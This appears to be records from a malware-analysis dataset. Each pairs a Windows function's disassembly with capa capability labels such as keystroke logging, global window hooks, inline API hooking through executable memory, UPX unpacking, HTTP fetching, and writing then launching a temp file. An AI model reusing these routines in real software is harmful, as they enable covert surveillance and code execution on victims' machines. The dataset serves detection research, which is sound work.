joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441f90
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44213b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], 0
jne 0x44211c
mov dl, 1
mov eax, dword [0x40df74]
call fcn.00402de4
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403b20
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44210b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004309c0
test al, al
je 0x4420fe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44214c
lea eax, [ebp - 0x254]
call fcn.00408978
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4420fe
xor eax, eax
push ebp
push 0x4420f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x442184
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4420e0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d50
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x4420e0
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d50
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4420fe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x442001
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.00410dbc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x28]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x442142
lea eax, [ebp - 0x260]
call fcn.00403b20
ret

Function at 0x442988
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4547cc]
cmp byte [eax + 0x95], 0
jne 0x4429f9
cmp dword [0x4547e8], 0
jne 0x4429ba
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x442944
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4547e8], eax
cmp dword [0x4547e4], 0
jne 0x4429d5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4547e4], eax
cmp dword [0x4547ec], 0
jne 0x4429f9
push esp
push 0
push 0
push 0x4428e8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4547ec], eax
pop edx
ret
Function at 0x442af0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x442b07
add esp, 0xfffffff0
call fcn.00403114
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00414170
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40dc74]
call fcn.00402de4
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x40dc74]
call fcn.00402de4
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x415fc8]
call fcn.0041d06c
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x442c7c
mov eax, dword [0x453720]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041d43c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4445fc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x453720]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040b7f0
test eax, eax
je 0x442bfa
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040832c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040b818
test eax, eax
je 0x442c0e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403d50
mov eax, dword [0x45361c]
cmp byte [eax], 0
jne 0x442c3f
mov eax, ebx
call fcn.00442d68
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x442c71
call fcn.0040316c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x442fd8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4547cc]
cmp dword [eax + 0x24], 0
je 0x44307b
cmp dword [ebx + 0x84], 0
jne 0x443075
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x442f68
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x443075
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44303e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x443075
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0040f394
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44304d
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x443a88
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x443abd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c08
jmp 0x443ac7
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00403b74
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x444970
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x4449a8
mov eax, esi
call fcn.0042c778
test al, al
je 0x4449a8
mov eax, dword [ebx + 0x74]
call fcn.0042c47c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4449a8
push 0
mov eax, dword [ebx + 0x74]
call fcn.0042c47c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x446b5c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp bl, 0x90
jne 0x446bb2
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
neg al
sbb ebx, ebx
neg ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x446b9d
and byte [ebp - 0x72], 0xfe
jmp 0x446ba1
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x446c38
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x446c38
mov eax, ebx
and eax, 0xff
bt dword [0x4533d4], eax
jae 0x446c08
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00446b10
pop ecx
cmp byte [ebp - 1], 0
je 0x446c33
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00446b10
pop ecx
jmp 0x446c33
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00446b10
pop ecx
cmp byte [ebp - 1], 0
je 0x446c33
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00446b10
pop ecx
dec si
jne 0x446bc8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x446c40
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x4533d4], edx
jae 0x446c78
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.00446b10
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.00446b10
pop ecx
pop ebx
pop ebp
ret
Function at 0x4480d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00447f18
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403f64
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x44812e
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x453804]
mov dl, 1
mov eax, dword [0x447e8c]
call fcn.0040acd4
call fcn.0040356c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x448138
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00403f64
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x448190
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4539a8]
mov dl, 1
mov eax, dword [0x447e8c]
call fcn.0040acd4
call fcn.0040356c
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00447f48
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x44acd4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
cmp dword [ebx], 0
jne 0x44ad02
mov ecx, 4
mov dl, 1
mov eax, dword [0x44952c]
call fcn.0044da64
call fcn.0040356c
mov eax, dword [ebx]
mov byte [eax + 0x14], 1
mov eax, dword [ebx]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [esi + 0x2c]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x44ad31
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3e5
je 0x44ad31
xor eax, eax
jmp 0x44ad33
mov al, 1
test al, al
jne 0x44ad53
call sub.kernel32.dll_GetLastError_1
push eax
mov ecx, 3
mov dl, 1
mov eax, dword [0x44952c]
call fcn.0044d9a0
call fcn.0040356c
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x41bd52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x41bd52
lcall 0x5de5, 0x8b10c483
jmp loc.007b9824
Function at 0x100016a1
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
pushal
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xc], eax
push 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.100031b3
lea eax, [ebp - 0x18]
push eax
call sub.KERNEL32.dll_GetModuleHandleA
or eax, eax
jne 0x100016d1
lea eax, [ebp - 0x18]
push eax
call sub.KERNEL32.dll_LoadLibraryA
push eax
push 0xc
lea eax, [ebp - 0x18]
push eax
call sub.ntdll.dll_RtlZeroMemory
pop eax
or eax, eax
je 0x10001716
mov dword [ebp - 0x30], eax
push 0x11
lea eax, [ebp - 0x29]
push eax
call fcn.100031f1
lea eax, [ebp - 0x29]
push eax
push dword [ebp - 0x30]
call fcn.10001a14
push eax
push 0x11
lea eax, [ebp - 0x29]
push eax
call sub.ntdll.dll_RtlZeroMemory
pop eax
or eax, eax
je 0x10001712
mov dword [ebp - 0xc], eax
jmp 0x10001718
jmp 0x10001765
jmp 0x10001765
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.WININET.dll_InternetOpenA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10001765
push 0
push 0x40000000
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [ebp - 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10001755
mov dword [ebp - 0x34], 1
push dword [ebp - 8]
call sub.WININET.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.WININET.dll_InternetCloseHandle
cmp dword [ebp - 0xc], 0
je 0x10001773
push dword [ebp - 0xc]
call fcn.10001b1d
popal
mov eax, dword [ebp - 0x34]
leave
ret 8

Function at 0x10001a14
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push esi
push edi
push ecx
and dword [ebp - 0x118], 0
push 0x104
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_GetModuleFileNameA
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.100050c4
or eax, eax
je 0x10001b10
mov dword [ebp - 0x108], eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.KERNEL32.dll_GetProcAddress
mov dword [ebp - 0x10c], eax
sub eax, dword [ebp + 8]
add eax, dword [ebp - 0x108]
mov dword [ebp - 0x110], eax
mov eax, 7
push 0x40
push dword [ebp - 0x10c]
push eax
call fcn.1000137b
or eax, eax
je 0x10001b05
push 0x40
push dword [ebp - 0x110]
push eax
call fcn.1000137b
or eax, eax
je 0x10001b05
mov dword [ebp - 0x114], eax
add eax, 5
push 0x40
push 0x1000
push eax
push 0
call sub.KERNEL32.dll_VirtualAlloc
or eax, eax
je 0x10001b05
mov dword [ebp - 0x118], eax
push dword [ebp - 0x114]
push dword [ebp - 0x110]
push dword [ebp - 0x118]
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edi, dword [ebp - 0x118]
add edi, dword [ebp - 0x114]
mov al, 0xe9
mov byte [edi], al
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x114]
push 5
push eax
push edi
call fcn.10001e03
mov dword [edi + 1], eax
push dword [ebp - 0x108]
call fcn.10005148
mov eax, dword [ebp - 0x118]
pop ecx
pop edi
pop esi
leave
ret 8
Function at 0x10001b33
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ecx
pushal
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], eax
push 0xc
lea eax, [ebp - 0x1c]
push eax
call fcn.100031b3
lea eax, [ebp - 0x1c]
push eax
call sub.KERNEL32.dll_GetModuleHandleA
or eax, eax
jne 0x10001b64
lea eax, [ebp - 0x1c]
push eax
call sub.KERNEL32.dll_LoadLibraryA
push eax
push 0xc
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll_RtlZeroMemory
pop eax
or eax, eax
je 0x10001ba9
mov dword [ebp - 0x34], eax
push 0x11
lea eax, [ebp - 0x2d]
push eax
call fcn.100031f1
lea eax, [ebp - 0x2d]
push eax
push dword [ebp - 0x34]
call fcn.10001a14
push eax
push 0x11
lea eax, [ebp - 0x2d]
push eax
call sub.ntdll.dll_RtlZeroMemory
pop eax
or eax, eax
je 0x10001ba5
mov dword [ebp - 0x10], eax
jmp 0x10001bab
jmp 0x10001c11
jmp 0x10001c11
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.WININET.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10001c11
push 0
push 0x40000000
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10001c01
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.ntdll.dll_RtlZeroMemory
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call sub.WININET.dll_InternetReadFile
mov dword [ebp - 0x38], eax
push dword [ebp - 0xc]
call sub.WININET.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.WININET.dll_InternetCloseHandle
cmp dword [ebp - 0x10], 0
je 0x10001c1f
push dword [ebp - 0x10]
call fcn.10001b1d
popal
mov eax, dword [ebp - 0x38]
pop ecx
leave
ret 0x10

Function at 0x10001d4c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push edi
push ecx
and dword [ebp - 8], 0
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x10001d67
jmp 0x10001dea
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
je 0x10001d74
jmp 0x10001dea
push dword [edi + 0x38]
pop dword [ebp - 4]
movzx ecx, word [edi + 6]
cmp dword [ebp + 0xc], ecx
jb 0x10001d8b
cmp dword [ebp + 0xc], 0xffffffff
je 0x10001d8b
jmp 0x10001dea
add edi, 0xf8
and dword [ebp - 0xc], 0
jmp 0x10001de5
push ecx
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 0xc], eax
je 0x10001da5
cmp eax, 0xffffffff
jne 0x10001dde
mov eax, dword [edi + 0x24]
and eax, 0x40000000
cmp eax, 0x40000000
jne 0x10001dde
push dword [ebp - 4]
push dword [edi + 8]
call fcn.10001d33
mov ecx, dword [edi + 0xc]
add ecx, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push ecx
call fcn.10001cd7
or eax, eax
je 0x10001dde
pop ecx
push ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
add edi, 0x28
pop ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jb 0x10001d97
mov eax, dword [ebp - 8]
pop ecx
pop edi
leave
ret 0x10
Function at 0x10001eb9
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdac
push 0x104
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.dll_lstrcpyA
push 0x10007140
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.dll_lstrcatA
push 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.1000368b
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.dll_lstrcatA
push 0x10
lea eax, [ebp - 0x248]
push eax
call sub.ntdll.dll_RtlZeroMemory
lea eax, [ebp - 0x218]
push eax
push 0
push 0
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_GetTempFileNameA
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_DeleteFileA
lea eax, [ebp - 0x218]
push eax
push 0x20
lea eax, [ebp - 0x238]
push eax
call fcn.10001e13
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10002073
push 4
push 0
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_MoveFileExA
push 0xb
lea eax, [ebp - 0x253]
push eax
call fcn.10003280
lea eax, [ebp - 0x253]
push eax
push 0
call sub.USER32.dll_FindWindowA
push eax
push 0xb
lea eax, [ebp - 0x253]
push eax
call sub.ntdll.dll_RtlZeroMemory
pop eax
or eax, eax
je 0x10001fff
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
push 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.1000368b
lea eax, [ebp - 0x248]
push eax
call sub.KERNEL32.dll_lstrlenA
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x248]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x4a
push dword [ebp - 4]
call sub.USER32.dll_SendMessageA
push 0x10
lea eax, [ebp - 0x248]
push eax
call sub.ntdll.dll_RtlZeroMemory
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_DeleteFileA
or eax, eax
jne 0x1000201f
push 4
push 0
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.dll_MoveFileExA
leave
ret
Function at 0x10002073
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff958
lea eax, [ebp - 0x410]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA
lea eax, [ebp - 0x410]
push eax
push 0
push 0
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.dll_GetTempFileNameA
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.dll_DeleteFileA
push 0x37
lea eax, [ebp - 0x6a7]
push eax
call fcn.1000346c
lea eax, [ebp - 0x6a7]
push eax
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.dll_lstrcatA
push 0x37
lea eax, [ebp - 0x6a7]
push eax
call sub.ntdll.dll_RtlZeroMemory
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100021fa
mov dword [ebp - 0x61c], eax
push 0x37
lea eax, [ebp - 0x6a7]
push eax
call fcn.100032bd
lea eax, [ebp - 0x410]
push eax
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x6a7]
push eax
lea eax, [ebp - 0x618]
push eax
call sub.USER32.dll_wsprintfA
add esp, 0x18
push 0x37
lea eax, [ebp - 0x6a7]
push eax
call sub.ntdll.dll_RtlZeroMemory
lea eax, [ebp - 0x618]
push eax
call sub.KERNEL32.dll_lstrlenA
push ecx
push 0
push esp
push eax
lea eax, [ebp - 0x618]
push eax
push dword [ebp - 0x61c]
call sub.KERNEL32.dll_WriteFile
pop ecx
push dword [ebp - 0x61c]
call sub.KERNEL32.dll_CloseHandle
mov dword [ebp - 0x660], 0x44
lea eax, [ebp - 0x660]
push eax
call sub.KERNEL32.dll_GetStartupInfoA
mov word [ebp - 0x630], 0
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x660]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0x410]
push eax
push 0
call sub.KERNEL32.dll_CreateProcessA
or eax, eax
je 0x100021ee
push 0x3e8
push dword [ebp - 0x670]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [ebp - 0x670]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 0x66c]
call sub.KERNEL32.dll_CloseHandle
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.dll_DeleteFileA
leave
ret 8